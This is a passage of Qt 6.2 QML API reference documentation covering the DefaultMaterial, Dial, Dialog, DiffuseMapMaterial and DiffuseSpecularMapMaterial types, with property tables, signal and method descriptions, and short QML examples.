  **Warning:** Point sizes other than 1 may not be supported at run time, depending on the underyling graphics API. For example, setting a size other than 1 has no effect with Direct 3D.

  ###  roughnessChannel : [enumeration](qml-enumeration)

 This property defines the texture channel used to read the roughness value from [roughnessMap](qml-qtquick3d-defaultmaterial#roughnessMap-prop). The default value is `Material.R`.

 

| Constant | Description |
| --- | --- |
| `Material.R` | Read value from texture R channel. |
| `Material.G` | Read value from texture G channel. |
| `Material.B` | Read value from texture B channel. |
| `Material.A` | Read value from texture A channel. |

 ###  roughnessMap : [Texture](qml-qtquick3d-texture)

 This property defines a Texture to control the specular roughness of the material. If the texture contains multiple channels(RGBA), then the correct channel can be set using the [roughnessChannel](qml-qtquick3d-defaultmaterial#roughnessChannel-prop) property.

 ###  specularAmount : [real](qml-real)

 This property controls the strength of specularity (highlights and reflections). The default value is `0` disabling the specularity. The range is [0.0, 1.0].

  **Note:** This property does not affect the [specularReflectionMap](qml-qtquick3d-defaultmaterial#specularReflectionMap-prop), but does affect the amount of reflections from a scene's [SceneEnvironment::lightProbe](qml-qtquick3d-sceneenvironment#lightProbe-prop).

   **Note:** Unless your mesh is high resolution, you may need to use `DefaultMaterial.FragmentLighting` to get good specular highlights from scene lights.

  ###  specularMap : [Texture](qml-qtquick3d-texture)

 This property defines a RGB Texture to modulate the amount and the color of specularity across the surface of the material. These values are multiplied by the [specularAmount](qml-qtquick3d-defaultmaterial#specularAmount-prop).

 ###  specularModel : [enumeration](qml-enumeration)

 This property determines which functions are used to calculate specular highlights for lights in the scene.

 

| Constant | Description |
| --- | --- |
| `DefaultMaterial.Default` | Specular lighting uses default lighting model. |
| `DefaultMaterial.KGGX` | Specular lighting uses GGX lighting model. |

 ###  specularReflectionMap : [Texture](qml-qtquick3d-texture)

 This property sets a Texture used for specular highlights on the material.

 This is typically used to perform environment mapping: as the model is rotated, the map will appear as though it is reflecting from the environment. For this to work as expected, the Texture's [mappingMode](qml-qtquick3d-texture#mappingMode-prop) needs to be set to Texture.Environment. Specular reflection maps are an easy way to add a high-quality look with a relatively low cost.

  **Note:** Associating a [light probe](qml-qtquick3d-sceneenvironment#lightProbe-prop) with the [SceneEnvironment](qml-qtquick3d-sceneenvironment), and thus relying on image-based lighting, can achieve similar environmental reflection effects. Light probes are however a conceptually different, and when it comes to performance, potentially more expensive solution. Each approaches have their own specific uses, and the one to use needs to be decided on a case by case basis. When it comes to the Texture set to the property, specularReflectionMap has an advantage, because it presents no limitations and supports all types of textures, including ones that source their data from a Qt Quick sub-scene via [sourceItem](qml-qtquick3d-texture#sourceItem-prop).

   **Note:** Crisp images cause your material to look very glossy; the more you blur your image the softer your material will appear.

  **See also** [Texture::mappingMode](qml-qtquick3d-texture#mappingMode-prop).

 ###  specularRoughness : [real](qml-real)

 This property controls the size of the specular highlight generated from lights, and the clarity of reflections in general. Larger values increase the roughness, softening specular highlights and blurring reflections. The range is [0.0, 1.0]. The default value is 0.

 ###  specularTint : [color](qml-color)

 This property defines a color used to adjust the specular reflections. Use white for no effect

 ###  translucencyChannel : [enumeration](qml-enumeration)

 This property defines the texture channel used to read the translucency value from [translucencyMap](qml-qtquick3d-defaultmaterial#translucencyMap-prop). The default value is `Material.A`.

 

| Constant | Description |
| --- | --- |
| `Material.R` | Read value from texture R channel. |
| `Material.G` | Read value from texture G channel. |
| `Material.B` | Read value from texture B channel. |
| `Material.A` | Read value from texture A channel. |

 ###  translucencyMap : [Texture](qml-qtquick3d-texture)

 This property defines a grayscale Texture controlling how much light can pass through the material from behind.

 ###  translucentFalloff : [real](qml-real)

 This property defines the amount of falloff for the translucency based on the angle of the normals of the object to the light source.

 ###  vertexColorsEnabled : [bool](qml-bool)

 When this property is enabled, the material will use vertex colors from the mesh. These will be multiplied by any other colors specified for the material.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtquick3d-defaultmaterial.html>

Dial QML Type
=============

 Circular dial that is rotated to set a value. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQuick.Controls |
|  Since: |  Qt 5.7 |
|  Inherits: | [Control](qml-qtquick-controls2-control) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtquick-controls2-dial-members.html)

 Properties
----------

 * **[angle](qml-qtquick-controls2-dial#angle-prop)** : real
* **[from](qml-qtquick-controls2-dial#from-prop)** : real
* **[handle](qml-qtquick-controls2-dial#handle-prop)** : Item
* **[inputMode](qml-qtquick-controls2-dial#inputMode-prop)** : enumeration
* **[live](qml-qtquick-controls2-dial#live-prop)** : bool
* **[position](qml-qtquick-controls2-dial#position-prop)** : real
* **[pressed](qml-qtquick-controls2-dial#pressed-prop)** : bool
* **[snapMode](qml-qtquick-controls2-dial#snapMode-prop)** : enumeration
* **[stepSize](qml-qtquick-controls2-dial#stepSize-prop)** : real
* **[to](qml-qtquick-controls2-dial#to-prop)** : real
* **[value](qml-qtquick-controls2-dial#value-prop)** : real
* **[wrap](qml-qtquick-controls2-dial#wrap-prop)** : bool

 Signals
-------

 * **[moved](qml-qtquick-controls2-dial#moved-signal)**()

 Methods
-------

 * void **[decrease](qml-qtquick-controls2-dial#decrease-method)**()
* void **[increase](qml-qtquick-controls2-dial#increase-method)**()

 Detailed Description
--------------------

 The Dial is similar to a traditional dial knob that is found on devices such as stereos or industrial equipment. It allows the user to specify a value within a range.


    ![]  
The value of the dial is set with the [value](qml-qtquick-controls2-dial#value-prop) property. The range is set with the [from](qml-qtquick-controls2-dial#from-prop) and [to](qml-qtquick-controls2-dial#to-prop) properties. To enable or disable wrapping, use the [wrap](qml-qtquick-controls2-dial#wrap-prop) property.

 The dial can be manipulated with a keyboard. It supports the following actions:

 

| **Action** | **Key** |
| --- | --- |
| Decrease [value](qml-qtquick-controls2-dial#value-prop) by [stepSize](qml-qtquick-controls2-dial#stepSize-prop) | `Qt.Key_Left` |
| Decrease [value](qml-qtquick-controls2-dial#value-prop) by [stepSize](qml-qtquick-controls2-dial#stepSize-prop) | `Qt.Key_Down` |
| Set [value](qml-qtquick-controls2-dial#value-prop) to [from](qml-qtquick-controls2-dial#from-prop) | `Qt.Key_Home` |
| Increase [value](qml-qtquick-controls2-dial#value-prop) by [stepSize](qml-qtquick-controls2-dial#stepSize-prop) | `Qt.Key_Right` |
| Increase [value](qml-qtquick-controls2-dial#value-prop) by [stepSize](qml-qtquick-controls2-dial#stepSize-prop) | `Qt.Key_Up` |
| Set [value](qml-qtquick-controls2-dial#value-prop) to [to](qml-qtquick-controls2-dial#to-prop) | `Qt.Key_End` |

 Dial supports three [input modes](qml-qtquick-controls2-dial#inputMode-prop): `Dial.Circular`, `Dial.Horizontal` and `Dial.Vertical`. The circular input mode operates on an absolute input system, where the position of the cursor within the dial directly reflects its value. The horizontal and vertical input modes use a relative input system, where changes in the cursor's position are "added" to the value of the dial.

 The following image illustrates the directions in which the various input modes track movement:

 ![]


**See also** [Customizing Dial](qtquickcontrols2-customize#customizing-dial) and [Input Controls](qtquickcontrols2-input).

 Property Documentation
----------------------

 ###  [read-only] angle : [real](qml-real)

 This property holds the angle of the handle.

 The range is from `-140` degrees to `140` degrees.

 **See also** [position](qml-qtquick-controls2-dial#position-prop).

 ###  from : [real](qml-real)

 This property holds the starting value for the range. The default value is `0.0`.

 **See also** [to](qml-qtquick-controls2-dial#to-prop) and [value](qml-qtquick-controls2-dial#value-prop).

 ###  handle : [Item](qml-qtquick-item)

 This property holds the handle of the dial.

 The handle acts as a visual indicator of the position of the dial.

 **See also** [Customizing Dial](qtquickcontrols2-customize#customizing-dial).

 ###  [since QtQuick.Controls 2.5 (Qt 5.12)] inputMode : [enumeration](qml-enumeration)

 This property holds the input mode.

 Dial supports three input modes: `Dial.Circular`, `Dial.Horizontal` and `Dial.Vertical`. The circular input mode operates on an absolute input system, where the position of the cursor within the dial directly reflects its value. The horizontal and vertical input modes use a relative input system, where changes in the cursor's position are "added" to the value of the dial.

 The following image illustrates the directions in which the various input modes track movement:

 ![]


The default value is `Dial.Circular`.

 This property was introduced in QtQuick.Controls 2.5 (Qt 5.12).

 ###  [since QtQuick.Controls 2.2 (Qt 5.9)] live : [bool](qml-bool)

 This property holds whether the dial provides live updates for the [value](qml-qtquick-controls2-dial#value-prop) property while the handle is dragged.

 The default value is `true`.

 This property was introduced in QtQuick.Controls 2.2 (Qt 5.9).

 **See also** [value](qml-qtquick-controls2-dial#value-prop).

 ###  [read-only] position : [real](qml-real)

 This property holds the logical position of the handle.

 The position is expressed as a fraction of the control's angle range (the range within which the handle can be moved) in the range `0.0 - 1.0`.

 **See also** [value](qml-qtquick-controls2-dial#value-prop) and [angle](qml-qtquick-controls2-dial#angle-prop).

 ###  pressed : [bool](qml-bool)

 This property holds whether the dial is pressed.

 The dial will be pressed when either the mouse is pressed over it, or a key such as `Qt.Key_Left` is held down. If you'd prefer not to have the dial be pressed upon key presses (due to styling reasons, for example), you can use the [Keys attached property](qml-qtquick-keys):

 
```
Dial {
    Keys.onLeftPressed: {}
}
```
 This will result in pressed only being `true` upon mouse presses.

 ###  snapMode : [enumeration](qml-enumeration)

 This property holds the snap mode.

 The snap mode works with the [stepSize](qml-qtquick-controls2-dial#stepSize-prop) to allow the handle to snap to certain points along the dial.

 Possible values:

 

| Constant | Description |
| --- | --- |
| `Dial.NoSnap` | The dial does not snap (default). |
| `Dial.SnapAlways` | The dial snaps while the handle is dragged. |
| `Dial.SnapOnRelease` | The dial does not snap while being dragged, but only after the handle is released. |

 **See also** [stepSize](qml-qtquick-controls2-dial#stepSize-prop).

 ###  stepSize : [real](qml-real)

 This property holds the step size.

 The step size determines the amount by which the dial's value is increased and decreased when interacted with via the keyboard. For example, a step size of `0.2`, will result in the dial's value increasing and decreasing in increments of `0.2`.

 The step size is only respected for touch and mouse interaction when [snapMode](qml-qtquick-controls2-dial#snapMode-prop) is set to a value other than `Dial.NoSnap`.

 The default value is `0.0`, which results in an effective step size of `0.1` for keyboard interaction.

 **See also** [snapMode](qml-qtquick-controls2-dial#snapMode-prop), [increase](qml-qtquick-controls2-dial#increase-method)(), and [decrease](qml-qtquick-controls2-dial#decrease-method)().

 ###  to : [real](qml-real)

 This property holds the end value for the range. The default value is `1.0`.

 **See also** [from](qml-qtquick-controls2-dial#from-prop) and [value](qml-qtquick-controls2-dial#value-prop).

 ###  value : [real](qml-real)

 This property holds the value in the range `from` - `to`. The default value is `0.0`.

 **See also** [position](qml-qtquick-controls2-dial#position-prop) and [live](qml-qtquick-controls2-dial#live-prop).

 ###  wrap : [bool](qml-bool)

 This property holds whether the dial wraps when dragged.

 For example, when this property is set to `true`, dragging the dial past the [to](qml-qtquick-controls2-dial#to-prop) position will result in the handle being positioned at the [from](qml-qtquick-controls2-dial#from-prop) position, and vice versa:


    ![]  
When this property is `false`, it's not possible to drag the dial across the from and to values.


    ![]  
The default value is `false`.

 Signal Documentation
--------------------

 ###  `[since QtQuick.Controls 2.2 (Qt 5.9)]` moved()

 This signal is emitted when the dial has been interactively moved by the user by either touch, mouse, or keys.

 **Note:** The corresponding handler is `onMoved`.

 This signal was introduced in QtQuick.Controls 2.2 (Qt 5.9).

 Method Documentation
--------------------

 ###  void decrease()

 Decreases the value by [stepSize](qml-qtquick-controls2-dial#stepSize-prop), or `0.1` if [stepSize](qml-qtquick-controls2-dial#stepSize-prop) is not defined.

 **See also** [stepSize](qml-qtquick-controls2-dial#stepSize-prop).

 ###  void increase()

 Increases the value by [stepSize](qml-qtquick-controls2-dial#stepSize-prop), or `0.1` if [stepSize](qml-qtquick-controls2-dial#stepSize-prop) is not defined.

 **See also** [stepSize](qml-qtquick-controls2-dial#stepSize-prop).



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtquick-controls2-dial.html>

Dialog QML Type
===============

 Popup dialog with standard buttons and a title, used for short-term interaction with the user. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQuick.Controls |
|  Since: |  Qt 5.8 |
|  Inherits: | [Popup](qml-qtquick-controls2-popup) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtquick-controls2-dialog-members.html)

 Properties
----------

 * **[footer](qml-qtquick-controls2-dialog#footer-prop)** : Item
* **[header](qml-qtquick-controls2-dialog#header-prop)** : Item
* **[implicitFooterHeight](qml-qtquick-controls2-dialog#implicitFooterHeight-prop)** : real
* **[implicitFooterWidth](qml-qtquick-controls2-dialog#implicitFooterWidth-prop)** : real
* **[implicitHeaderHeight](qml-qtquick-controls2-dialog#implicitHeaderHeight-prop)** : real
* **[implicitHeaderWidth](qml-qtquick-controls2-dialog#implicitHeaderWidth-prop)** : real
* **[result](qml-qtquick-controls2-dialog#result-prop)** : int
* **[standardButtons](qml-qtquick-controls2-dialog#standardButtons-prop)** : enumeration
* **[title](qml-qtquick-controls2-dialog#title-prop)** : string

 Signals
-------

 * **[accepted](qml-qtquick-controls2-dialog#accepted-signal)**()
* **[applied](qml-qtquick-controls2-dialog#applied-signal)**()
* **[discarded](qml-qtquick-controls2-dialog#discarded-signal)**()
* **[helpRequested](qml-qtquick-controls2-dialog#helpRequested-signal)**()
* **[rejected](qml-qtquick-controls2-dialog#rejected-signal)**()
* **[reset](qml-qtquick-controls2-dialog#reset-signal)**()

 Methods
-------

 * void **[accept](qml-qtquick-controls2-dialog#accept-method)**()
* void **[done](qml-qtquick-controls2-dialog#done-method)**(int *result*)
* void **[reject](qml-qtquick-controls2-dialog#reject-method)**()
* AbstractButton **[standardButton](qml-qtquick-controls2-dialog#standardButton-method)**(StandardButton *button*)

 Detailed Description
--------------------

 A dialog is a popup mostly used for short-term tasks and brief communications with the user. Similarly to [ApplicationWindow](qtquickcontrols-changes-qt6#applicationwindow) and [Page](qml-qtquick-controls2-page), Dialog is organized into three sections: [header](qml-qtquick-controls2-dialog#header-prop), [contentItem](qml-qtquick-controls2-popup#contentItem-prop), and [footer](qml-qtquick-controls2-dialog#footer-prop).

 ![]


Dialog Title and Buttons
------------------------

 Dialog's [title](qml-qtquick-controls2-dialog#title-prop) is displayed by a style-specific title bar that is assigned as a dialog [header](qml-qtquick-controls2-dialog#header-prop) by default.

 Dialog's standard buttons are managed by a [DialogButtonBox](qml-qtquick-controls2-dialogbuttonbox) that is assigned as a dialog [footer](qml-qtquick-controls2-dialog#footer-prop) by default. The dialog's [standardButtons](qml-qtquick-controls2-dialog#standardButtons-prop) property is forwarded to the respective property of the button box. Furthermore, the [accepted](qml-qtquick-controls2-dialogbuttonbox#accepted-signal)() and [rejected](qml-qtquick-controls2-dialogbuttonbox#rejected-signal)() signals of the button box are connected to the respective signals in Dialog.

 
```
Dialog {
    id: dialog
    title: "Title"
    standardButtons: Dialog.Ok | Dialog.Cancel

    onAccepted: console.log("Ok clicked")
    onRejected: console.log("Cancel clicked")
}
```
 Modal Dialogs
-------------

 A [modal](qml-qtquick-controls2-popup#modal-prop) dialog blocks input to other content beneath the dialog. When a modal dialog is opened, the user must finish interacting with the dialog and close it before they can access any other content in the same window.

 
```
Dialog {
    id: dialog
    modal: true
    standardButtons: Dialog.Ok
}
```
 Modeless Dialogs
----------------

 A modeless dialog is a dialog that operates independently of other content around the dialog. When a modeless dialog is opened, the user is allowed to interact with both the dialog and the other content in the same window.

 
```
Dialog {
    id: dialog
    modal: false
    standardButtons: Dialog.Ok
}
```
 **See also** [DialogButtonBox](qml-qtquick-controls2-dialogbuttonbox) and [Popup Controls](qtquickcontrols2-popups).

 Property Documentation
----------------------

 ###  footer : [Item](qml-qtquick-item)

 This property holds the dialog footer item. The footer item is positioned to the bottom, and resized to the width of the dialog. The default value is `null`.

  **Note:** Assigning a [DialogButtonBox](qml-qtquick-controls2-dialogbuttonbox) as a dialog footer automatically connects its [accepted](qml-qtquick-controls2-dialogbuttonbox#accepted-signal)() and [rejected](qml-qtquick-controls2-dialogbuttonbox#rejected-signal)() signals to the respective signals in Dialog.

   **Note:** Assigning a [DialogButtonBox](qml-qtquick-controls2-dialogbuttonbox), [ToolBar](qml-qtquick-controls2-toolbar), or [TabBar](qml-qtquick-controls2-tabbar) as a dialog footer automatically sets the respective [DialogButtonBox::position](qml-qtquick-controls2-dialogbuttonbox#position-prop), [ToolBar::position](qml-qtquick-controls2-toolbar#position-prop), or [TabBar::position](qml-qtquick-controls2-tabbar#position-attached-prop) property to `Footer`.

  **See also** [header](qml-qtquick-controls2-dialog#header-prop).

 ###  header : [Item](qml-qtquick-item)

 This property holds the dialog header item. The header item is positioned to the top, and resized to the width of the dialog. The default value is `null`.

  **Note:** Assigning a [DialogButtonBox](qml-qtquick-controls2-dialogbuttonbox) as a dialog header automatically connects its [accepted](qml-qtquick-controls2-dialogbuttonbox#accepted-signal)() and [rejected](qml-qtquick-controls2-dialogbuttonbox#rejected-signal)() signals to the respective signals in Dialog.

   **Note:** Assigning a [DialogButtonBox](qml-qtquick-controls2-dialogbuttonbox), [ToolBar](qml-qtquick-controls2-toolbar), or [TabBar](qml-qtquick-controls2-tabbar) as a dialog header automatically sets the respective [DialogButtonBox::position](qml-qtquick-controls2-dialogbuttonbox#position-prop), [ToolBar::position](qml-qtquick-controls2-toolbar#position-prop), or [TabBar::position](qml-qtquick-controls2-tabbar#position-attached-prop) property to `Header`.

  **See also** [footer](qml-qtquick-controls2-dialog#footer-prop).

 ###  [read-only, since QtQuick.Controls 2.5 (Qt 5.12)] implicitFooterHeight : [real](qml-real)

 This property holds the implicit footer height.

 The value is equal to `footer && footer.visible ? footer.implicitHeight : 0`.

 This property was introduced in QtQuick.Controls 2.5 (Qt 5.12).

 **See also** [implicitFooterWidth](qml-qtquick-controls2-dialog#implicitFooterWidth-prop) and [implicitHeaderHeight](qml-qtquick-controls2-dialog#implicitHeaderHeight-prop).

 ###  [read-only, since QtQuick.Controls 2.5 (Qt 5.12)] implicitFooterWidth : [real](qml-real)

 This property holds the implicit footer width.

 The value is equal to `footer && footer.visible ? footer.implicitWidth : 0`.

 This property was introduced in QtQuick.Controls 2.5 (Qt 5.12).

 **See also** [implicitFooterHeight](qml-qtquick-controls2-dialog#implicitFooterHeight-prop) and [implicitHeaderWidth](qml-qtquick-controls2-dialog#implicitHeaderWidth-prop).

 ###  [read-only, since QtQuick.Controls 2.5 (Qt 5.12)] implicitHeaderHeight : [real](qml-real)

 This property holds the implicit header height.

 The value is equal to `header && header.visible ? header.implicitHeight : 0`.

 This property was introduced in QtQuick.Controls 2.5 (Qt 5.12).

 **See also** [implicitHeaderWidth](qml-qtquick-controls2-dialog#implicitHeaderWidth-prop) and [implicitFooterHeight](qml-qtquick-controls2-dialog#implicitFooterHeight-prop).

 ###  [read-only, since QtQuick.Controls 2.5 (Qt 5.12)] implicitHeaderWidth : [real](qml-real)

 This property holds the implicit header width.

 The value is equal to `header && header.visible ? header.implicitWidth : 0`.

 This property was introduced in QtQuick.Controls 2.5 (Qt 5.12).

 **See also** [implicitHeaderHeight](qml-qtquick-controls2-dialog#implicitHeaderHeight-prop) and [implicitFooterWidth](qml-qtquick-controls2-dialog#implicitFooterWidth-prop).

 ###  [since QtQuick.Controls 2.3 (Qt 5.10)] result : [int](qml-int)

 This property holds the result code.

 Standard result codes:

 

| Constant | Description |
| --- | --- |
| `Dialog.Accepted` | The dialog was accepted. |
| `Dialog.Rejected` | The dialog was rejected. |

 This property was introduced in QtQuick.Controls 2.3 (Qt 5.10).

 **See also** [accept](qml-qtquick-controls2-dialog#accept-method)(), [reject](qml-qtquick-controls2-dialog#reject-method)(), and [done](qml-qtquick-controls2-dialog#done-method)().

 ###  standardButtons : [enumeration](qml-enumeration)

 This property holds a combination of standard buttons that are used by the dialog.

 
```
Dialog {
    id: dialog
    title: "Title"
    standardButtons: Dialog.Ok | Dialog.Cancel

    onAccepted: console.log("Ok clicked")
    onRejected: console.log("Cancel clicked")
}
```
 The buttons will be positioned in the appropriate order for the user's platform.

 Possible flags:

 

| Constant | Description |
| --- | --- |
| `Dialog.Ok` | An "OK" button defined with the `AcceptRole`. |
| `Dialog.Open` | An "Open" button defined with the `AcceptRole`. |
| `Dialog.Save` | A "Save" button defined with the `AcceptRole`. |
| `Dialog.Cancel` | A "Cancel" button defined with the `RejectRole`. |
| `Dialog.Close` | A "Close" button defined with the `RejectRole`. |
| `Dialog.Discard` | A "Discard" or "Don't Save" button, depending on the platform, defined with the `DestructiveRole`. |
| `Dialog.Apply` | An "Apply" button defined with the `ApplyRole`. |
| `Dialog.Reset` | A "Reset" button defined with the `ResetRole`. |
| `Dialog.RestoreDefaults` | A "Restore Defaults" button defined with the `ResetRole`. |
| `Dialog.Help` | A "Help" button defined with the `HelpRole`. |
| `Dialog.SaveAll` | A "Save All" button defined with the `AcceptRole`. |
| `Dialog.Yes` | A "Yes" button defined with the `YesRole`. |
| `Dialog.YesToAll` | A "Yes to All" button defined with the `YesRole`. |
| `Dialog.No` | A "No" button defined with the `NoRole`. |
| `Dialog.NoToAll` | A "No to All" button defined with the `NoRole`. |
| `Dialog.Abort` | An "Abort" button defined with the `RejectRole`. |
| `Dialog.Retry` | A "Retry" button defined with the `AcceptRole`. |
| `Dialog.Ignore` | An "Ignore" button defined with the `AcceptRole`. |
| `Dialog.NoButton` | An invalid button. |

 **See also** [DialogButtonBox](qml-qtquick-controls2-dialogbuttonbox).

 ###  title : [string](qml-string)

 This property holds the dialog title.

 The title is displayed in the dialog header.

 
```
Dialog {
    title: qsTr("About")

    Label {
        text: "Lorem ipsum..."
    }
}
```
 Signal Documentation
--------------------

 ###  accepted()

 This signal is emitted when the dialog has been accepted either interactively or by calling [accept](qml-qtquick-controls2-dialog#accept-method)().

  **Note:** This signal is *not* emitted when closing the dialog with [close](qml-qtquick-controls2-popup#close-method)() or setting [visible](qml-qtquick-controls2-popup#visible-prop) to `false`.

  **Note:** The corresponding handler is `onAccepted`.

 **See also** [rejected](qml-qtquick-controls2-dialog#rejected-signal)().

 ###  `[since QtQuick.Controls 2.3 (Qt 5.10)]` applied()

 This signal is emitted when the `Dialog.Apply` standard button is clicked.

 **Note:** The corresponding handler is `onApplied`.

 This signal was introduced in QtQuick.Controls 2.3 (Qt 5.10).

 **See also** [discarded](qml-qtquick-controls2-dialog#discarded-signal)() and [reset](qml-qtquick-controls2-dialog#reset-signal)().

 ###  `[since QtQuick.Controls 2.3 (Qt 5.10)]` discarded()

 This signal is emitted when the `Dialog.Discard` standard button is clicked.

 **Note:** The corresponding handler is `onDiscarded`.

 This signal was introduced in QtQuick.Controls 2.3 (Qt 5.10).

 **See also** [reset](qml-qtquick-controls2-dialog#reset-signal)() and [applied](qml-qtquick-controls2-dialog#applied-signal)().

 ###  `[since QtQuick.Controls 2.3 (Qt 5.10)]` helpRequested()

 This signal is emitted when the `Dialog.Help` standard button is clicked.

 **Note:** The corresponding handler is `onHelpRequested`.

 This signal was introduced in QtQuick.Controls 2.3 (Qt 5.10).

 **See also** [accepted](qml-qtquick-controls2-dialog#accepted-signal)() and [rejected](qml-qtquick-controls2-dialog#rejected-signal)().

 ###  rejected()

 This signal is emitted when the dialog has been rejected either interactively or by calling [reject](qml-qtquick-controls2-dialog#reject-method)().

  **Note:** This signal is *not* emitted when closing the dialog with [close](qml-qtquick-controls2-popup#close-method)() or setting [visible](qml-qtquick-controls2-popup#visible-prop) to `false`.

  **Note:** The corresponding handler is `onRejected`.

 **See also** [accepted](qml-qtquick-controls2-dialog#accepted-signal)().

 ###  `[since QtQuick.Controls 2.3 (Qt 5.10)]` reset()

 This signal is emitted when the `Dialog.Reset` standard button is clicked.

 **Note:** The corresponding handler is `onReset`.

 This signal was introduced in QtQuick.Controls 2.3 (Qt 5.10).

 **See also** [discarded](qml-qtquick-controls2-dialog#discarded-signal)() and [applied](qml-qtquick-controls2-dialog#applied-signal)().

 Method Documentation
--------------------

 ###  void accept()

 Emits the [accepted](qml-qtquick-controls2-dialog#accepted-signal)() signal and closes the dialog.

 **See also** [reject](qml-qtquick-controls2-dialog#reject-method)() and [done](qml-qtquick-controls2-dialog#done-method)().

 ###  `[since QtQuick.Controls 2.3 (Qt 5.10)]` void done([int](qml-int) *result*)

 1. Sets the *result*.
2. Emits [accepted](qml-qtquick-controls2-dialog#accepted-signal)() or [rejected](qml-qtquick-controls2-dialog#rejected-signal)() depending on whether the result is `Dialog.Accepted` or `Dialog.Rejected`, respectively.
3. Emits [closed](qml-qtquick-controls2-popup#closed-signal)().

 This method was introduced in QtQuick.Controls 2.3 (Qt 5.10).

 **See also** [accept](qml-qtquick-controls2-dialog#accept-method)(), [reject](qml-qtquick-controls2-dialog#reject-method)(), and [result](qml-qtquick-controls2-dialog#result-prop).

 ###  void reject()

 Emits the [rejected](qml-qtquick-controls2-dialog#rejected-signal)() signal and closes the dialog.

 **See also** [accept](qml-qtquick-controls2-dialog#accept-method)() and [done](qml-qtquick-controls2-dialog#done-method)().

 ###  `[since QtQuick.Controls 2.3 (Qt 5.10)]` [AbstractButton](qml-qtquick-controls2-abstractbutton) standardButton(StandardButton *button*)

 Returns the specified standard *button*, or `null` if it does not exist.

 This method was introduced in QtQuick.Controls 2.3 (Qt 5.10).

 **See also** [standardButtons](qml-qtquick-controls2-dialog#standardButtons-prop).



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtquick-controls2-dialog.html>

DiffuseMapMaterial QML Type
===========================

 The DiffuseMapMaterial provides a default implementation of the phong lighting effect where the diffuse light component is read from a texture map. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import Qt3D.Extras |
|  Since: |  Qt 5.7 |
|  Inherits: | [Material](qml-qt3d-render-material) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qt3d-extras-diffusemapmaterial-members.html)

 Properties
----------

 * **[ambient](qml-qt3d-extras-diffusemapmaterial#ambient-prop)** : color
* **[diffuse](qml-qt3d-extras-diffusemapmaterial#diffuse-prop)** : TextureImage
* **[shininess](qml-qt3d-extras-diffusemapmaterial#shininess-prop)** : real
* **[specular](qml-qt3d-extras-diffusemapmaterial#specular-prop)** : color
* **[textureScale](qml-qt3d-extras-diffusemapmaterial#textureScale-prop)** : real

 Detailed Description
--------------------

 The specular lighting effect is based on the combination of 3 lighting components ambient, diffuse and specular. The relative strengths of these components are controlled by means of their reflectivity coefficients which are modelled as RGB triplets:

 * Ambient is the color that is emitted by an object without any other light source.
* Diffuse is the color that is emitted for rought surface reflections with the lights.
* Specular is the color emitted for shiny surface reflections with the lights.
* The shininess of a surface is controlled by a float property.

 This material uses an effect with a single render pass approach and performs per fragment lighting. Techniques are provided for OpenGL 2, OpenGL 3 or above as well as OpenGL ES 2.

 Property Documentation
----------------------

 ###  ambient : [color](qml-color)

 Holds the current ambient color.

 ###  diffuse : [TextureImage](qml-qt3d-render-textureimage)

 Holds the current texture used as the diffuse map.

 By default, the diffuse texture has the following properties:

 * Linear minification and magnification filters
* Linear mipmap with mipmapping enabled
* Repeat wrap mode
* Maximum anisotropy of 16.0

 ###  shininess : [real](qml-real)

 Holds the current shininess.

 ###  specular : [color](qml-color)

 Holds the current specular color.

 ###  textureScale : [real](qml-real)

 Holds the current texture scale. It is applied as a multiplier to texture coordinates at render time. Defaults to 1.0.

 When used in conjunction with WrapMode.Repeat, textureScale provides a simple way to tile a texture across a surface. For example, a texture scale of `4.0` would result in 16 (4x4) tiles.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qt3d-extras-diffusemapmaterial.html>

DiffuseSpecularMapMaterial QML Type
===================================

 The DiffuseSpecularMapMaterial provides a default implementation of the phong lighting effect where the diffuse and specular light components are read from texture maps. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import Qt3D.Extras |
|  Since: |  Qt 5.7 |
|  Inherits: | [Material](qml-qt3d-render-material) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qt3d-extras-diffusespecularmapmaterial-members.html)

 Properties
----------

 * **[ambient](qml-qt3d-extras-diffusespecularmapmaterial#ambient-prop)** : color
* **[diffuse](qml-qt3d-extras-diffusespecularmapmaterial#diffuse-prop)** : TextureImage
* **[shininess](qml-qt3d-extras-diffusespecularmapmaterial#shininess-prop)** : real
* **[specular](qml-qt3d-extras-diffusespecularmapmaterial#specular-prop)** : TextureImage
* **[textureScale](qml-qt3d-extras-diffusespecularmapmaterial#textureScale-prop)** : real

 Detailed Description
--------------------

 The specular lighting effect is based on the combination of 3 lighting components ambient, diffuse and specular. The relative strengths of these components are controlled by means of their reflectivity coefficients which are modelled as RGB triplets:

 * Ambient is the color that is emitted by an object without any other light source.
* Diffuse is the color that is emitted for rought surface reflections with the lights.
* Specular is the color emitted for shiny surface reflections with the lights.
* The shininess of a surface is controlled by a float property.

 This material uses an effect with a single render pass approach and performs per fragment lighting. Techniques are provided for OpenGL 2, OpenGL 3 or above as well as OpenGL ES 2.

 Property Documentation
----------------------

 ###  ambient : [color](qml-color)

 Holds the current ambient color.

 ###  diffuse : [TextureImage](qml-qt3d-render-textureimage)

 Holds the current diffuse map texture.

 By default, the diffuse texture has the following properties:

 * Linear minification and magnification filters
* Linear mipmap with mipmapping enabled
* Repeat wrap mode
* Maximum anisotropy of 16.0

 ###  shininess : [real](qml-real)

 Holds the current shininess.

 ###  specular : [TextureImage](qml-qt3d-render-textureimage)

 Holds the current specular map texture.

 By default, the specular texture has the following properties:

 * Linear minification and magnification filters
* Linear mipmap with mipmapping enabled
* Repeat wrap mode
* Maximum anisotropy of 16.0

 ###  textureScale : [real](qml-real)

 Holds the current texture scale. It is applied as a multiplier to texture coordinates at render time. Defaults to 1.0.

